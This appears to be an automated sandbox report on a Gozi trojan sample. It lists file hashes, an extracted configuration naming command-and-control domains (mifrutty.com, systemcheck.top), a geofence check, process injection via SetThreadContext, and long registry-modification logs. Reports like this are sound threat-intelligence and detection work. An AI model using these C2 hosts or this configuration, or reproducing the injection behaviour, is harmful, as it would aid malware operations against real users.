Analysis
-
max time kernel
150s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
06-10-2023 11:40
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Win32.TrojanX-gen.25123.exe
Resource
win7-20230831-en
General
-
Target
SecuriteInfo.com.Win32.TrojanX-gen.25123.exe
-
Size
293KB
-
MD5
f4596eec21608b69a6410f3c1163f290
-
SHA1
db1d45bdd0409d95f6d3b6084cad4e6fe90a3436
-
SHA256
988ac9d35c37f6e957a5f292b871325fece89e106d4ac91d61d7ef5cd657ad8a
-
SHA512
c8d70e20cb3db7f050a0cb75d9f4ae3099760507eb707951c602f2d2de6adb564f87425153c77cae5b465c5efa7f5b4b13be642f8c95c9e14ed2d007e29e8dce
-
SSDEEP
3072:IvjRMbYbmYQDtBRd7QuszTc3iHjL1473r49ot:eWYaYQzRhSOuL1ik9o
Malware Config
Extracted
gozi
Extracted
gozi
5050
mifrutty.com
-
base_path
/jerry/
-
build
250260
-
exe_type
loader
-
extension
.bob
-
server_id
50
Extracted
gozi
5050
mifrutty.com
systemcheck.top
-
base_path
/pictures/
-
build
250260
-
exe_type
worker
-
extension
.bob
-
server_id
50
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation mshta.exe -
Suspicious use of SetThreadContext 8 IoCs
Processes:
powershell.exeExplorer.EXEcmd.exedescription pid process target process PID 3976 set thread context of 3204 3976 powershell.exe Explorer.EXE PID 3204 set thread context of 3840 3204 Explorer.EXE RuntimeBroker.exe PID 3204 set thread context of 3684 3204 Explorer.EXE RuntimeBroker.exe PID 3204 set thread context of 4868 3204 Explorer.EXE RuntimeBroker.exe PID 3204 set thread context of 3860 3204 Explorer.EXE cmd.exe PID 3204 set thread context of 1412 3204 Explorer.EXE RuntimeBroker.exe PID 3860 set thread context of 816 3860 cmd.exe PING.EXE PID 3204 set thread context of 4980 3204 Explorer.EXE cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 840 2656 WerFault.exe SecuriteInfo.com.Win32.TrojanX-gen.25123.exe -
Modifies registry class 64 IoCs
Processes:
RuntimeBroker.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2161676c-5d9e-4ea5 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8030eba2-b11c-452f = c20956f349f8d901 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6e111652-6f8a-42da = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\bead8187a4224b432edfbde785bd3e33e06c60d02b42e7b4f488846dc90159db" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cdeff668-0786-43e9 = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000002cc703f449f8d90107ced0f449f8d90107ced0f449f8d901565204000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004657195d2000333362613335323463613032333161363239333432393836383239333935643633333436636666313835363737336233343163636139323230383333623535310000b20009000400efbe4657195d4657195d2e0000000000000000000000000000000000000000000000000018441501330033006200610033003500320034006300610030003200330031006100360032003900330034003200390038003600380032003900330039003500640036003300330034003600630066006600310038003500360037003700330062003300340031006300630061003900320032003000380033003300620035003500310000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000c85ee0a31000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c33336261333532346361303233316136323933343239383638323933393564363333343663666631383536373733623334316363613932323038333362353531000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b0708caf05e9c53ee119d98c2c9425c9a59e045a29211b9ef448bb64d5290c16b0708caf05e9c53ee119d98c2c9425c9a59d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b31fc109-ab96-4049 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bce4c4ea-d405-4980 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bce4c4ea-d405-4980 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\865eea95-8197-446b = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\e22cc4414d69397e092363fd311bdcb60e201d571917209f69afb053169aeeef" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\91ed0568-951a-4610 = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\199c6ba6-b51c-4626 = 0f3dfbf249f8d901 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\199c6ba6-b51c-4626 = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2161676c-5d9e-4ea5 = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\865eea95-8197-446b = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8030eba2-b11c-452f = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6723f946-de3c-444b = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6723f946-de3c-444b = "0" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\199c6ba6-b51c-4626 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\04fd69c1-9d0e-42b1 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\04fd69c1-9d0e-42b1 = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\e22cc4414d69397e092363fd311bdcb60e201d571917209f69afb053169aeeef" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b31fc109-ab96-4049 = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\865eea95-8197-446b RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\91ed0568-951a-4610 = 6d34bcf449f8d901 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\04fd69c1-9d0e-42b1 = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b31fc109-ab96-4049 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2161676c-5d9e-4ea5 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2161676c-5d9e-4ea5 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6723f946-de3c-444b = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000c37ad6f349f8d901516201f449f8d901516201f449f8d9014c0a05000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004657185d2000633638356337366366613138333634316661326436653662303764393537623433343464626235383064626330623336653038336131646566623861663664330000b20009000400efbe4657185d4657185d2e000000000000000000000000000000000000000000000000008b140300630036003800350063003700360063006600610031003800330036003400310066006100320064003600650036006200300037006400390035003700620034003300340034006400620062003500380030006400620063003000620033003600650030003800330061003100640065006600620038006100660036006400330000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000c85ee0a31000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c63363835633736636661313833363431666132643665366230376439353762343334346462623538306462633062333665303833613164656662386166366433000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b0706caf05e9c53ee119d98c2c9425c9a59e045a29211b9ef448bb64d5290c16b0706caf05e9c53ee119d98c2c9425c9a59d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\95aa1b6c-dac5-40de = "0" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b31fc109-ab96-4049 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000a81d1af349f8d901a81d1af349f8d901a81d1af349f8d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004657185d2000303066613266656335346662316565373939336332366265613466343765393633333235376363376232623535626131663863626138393230303839386330320000b20009000400efbe4657185d4657185d2e0000000000000000000000000000000000000000000000000058020f00300030006600610032006600650063003500340066006200310065006500370039003900330063003200360062006500610034006600340037006500390036003300330032003500370063006300370062003200620035003500620061003100660038006300620061003800390032003000300038003900380063003000320000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000c85ee0a31000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c30306661326665633534666231656537393933633236626561346634376539363333323537636337623262353562613166386362613839323030383938633032000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b07fec9f05e9c53ee119d98c2c9425c9a59e045a29211b9ef448bb64d5290c16b07fec9f05e9c53ee119d98c2c9425c9a59d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1bb1200f-19ce-47c5 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6e111652-6f8a-42da = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000004d07a2f349f8d9012018f3f349f8d9012018f3f349f8d901084104000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004657195d2000626561643831383761343232346234333265646662646537383562643365333365303663363064303262343265376234663438383834366463393031353964620000b20009000400efbe4657195d4657195d2e00000000000000000000000000000000000000000000000000c3cb1e01620065006100640038003100380037006100340032003200340062003400330032006500640066006200640065003700380035006200640033006500330033006500300036006300360030006400300032006200340032006500370062003400660034003800380038003400360064006300390030003100350039006400620000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000c85ee0a31000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c62656164383138376134323234623433326564666264653738356264336533336530366336306430326234326537623466343838383436646339303135396462000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b0703caf05e9c53ee119d98c2c9425c9a59e045a29211b9ef448bb64d5290c16b0703caf05e9c53ee119d98c2c9425c9a59d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8030eba2-b11c-452f RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6e111652-6f8a-42da = f4f04cf449f8d901 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\95aa1b6c-dac5-40de = "8324" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\91ed0568-951a-4610 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6723f946-de3c-444b RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\95aa1b6c-dac5-40de RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\04fd69c1-9d0e-42b1 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2161676c-5d9e-4ea5 = "0" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bce4c4ea-d405-4980 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b31fc109-ab96-4049 